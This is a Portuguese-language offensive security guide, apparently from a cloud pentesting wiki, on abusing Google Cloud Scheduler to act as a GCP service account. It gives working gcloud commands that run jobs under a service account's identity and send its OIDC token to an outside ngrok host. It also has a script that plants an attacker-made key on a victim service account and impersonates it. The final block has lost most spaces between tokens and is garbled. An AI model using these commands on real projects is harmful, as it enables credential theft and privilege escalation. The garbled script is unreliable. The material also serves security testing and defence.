Um atacante com essas permissões poderia explorar o Cloud Scheduler para autenticar jobs cron como uma Conta de Serviço específica. Ao elaborar uma solicitação HTTP POST, o atacante agenda ações, como criar um bucket de Storage, para serem executadas sob a identidade da Conta de Serviço. Este método aproveita a capacidade do Scheduler de direcionar endpoints *.googleapis.com e autenticar solicitações, permitindo que o atacante manipule endpoints da API do Google diretamente usando um simples comando gcloud.
Contate qualquer API do google via googleapis.com com o cabeçalho do token OAuth
Crie um novo bucket de Storage:
gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://storage.googleapis.com/storage/v1/b?project=<PROJECT-ID>' --message-body "{'name':'new-bucket-name'}" --oauth-service-account-email 111111111111-compute@developer.gserviceaccount.com --headers "Content-Type=application/json" --location us-central1
Para escalar privilégios, um atacante simplesmente cria uma solicitação HTTP direcionada à API desejada, se passando pela Conta de Serviço especificada
Exfiltrar token da conta de serviço OIDC
gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']
# Listen in the ngrok address to get the OIDC token in clear text.
Se você precisar verificar a resposta HTTP, pode simplesmente dar uma olhada nos logs da execução.
Como no cenário anterior, é possível atualizar um scheduler já criado para roubar o token ou realizar ações. Por exemplo:
gcloud scheduler jobs update http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']
# Listen in the ngrok address to get the OIDC token in clear text.
Outro exemplo para fazer upload de uma chave privada para um SA e se passar por ele:
# Generate local private keyopensslreq-x509-nodes-newkeyrsa:2048-days365 \-keyout /tmp/private_key.pem \-out /tmp/public_key.pem \-subj "/CN=unused"# Remove last new line character of the public keyfile_size=$(wc-c</tmp/public_key.pem)new_size=$((file_size-1))truncate-s $new_size /tmp/public_key.pem# Update scheduler to upload the key to a SAgcloudschedulerjobsupdatehttpscheduler_lab_1 \--schedule='* * * * *' \--uri="https://iam.googleapis.com/v1/projects/$PROJECT_ID/serviceAccounts/victim@$PROJECT_ID.iam.gserviceaccount.com/keys:upload?alt=json" \
--message-body="{\"publicKeyData\": \"$(cat/tmp/public_key.pem|base64)\"}" \--update-headers "Content-Type=application/json" \--location us-central1 \--oauth-service-account-email privileged@$PROJECT_ID.iam.gserviceaccount.com# Check the logs to check it worked# Build the json to contact the SA## Get privatekey in json formatfile_content=$(<"/tmp/private_key.pem")private_key_json=$(jq-Rn--argstr"$file_content"'$str')## Get ID of the generated keygcloudiamservice-accountskeyslist--iam-account=victim@$PROJECT_ID.iam.gserviceaccount.com# Create the json in a file{"type":"service_account","project_id":"$PROJECT_ID","private_key_id":"<key id from key list>","private_key":"$private_key_json","client_email":"victim@$PROJECT_ID.iam.gserviceaccount.com","client_id": "$(gcloud iam service-accounts describe victim@$PROJECT_ID.iam.gserviceaccount.com | grep oauth2ClientId | cut -d "'" -f 2)",
"auth_uri":"https://accounts.google.com/o/oauth2/auth","token_uri":"https://oauth2.googleapis.com/token","auth_provider_x509_cert_url":"https://www.googleapis.com/oauth2/v1/certs","client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/victim%40$PROJECT_ID.iam.gserviceaccount.com",
"universe_domain":"googleapis.com"}# Activate the generated keygcloudauthactivate-service-account--key-file=/tmp/fake_key.json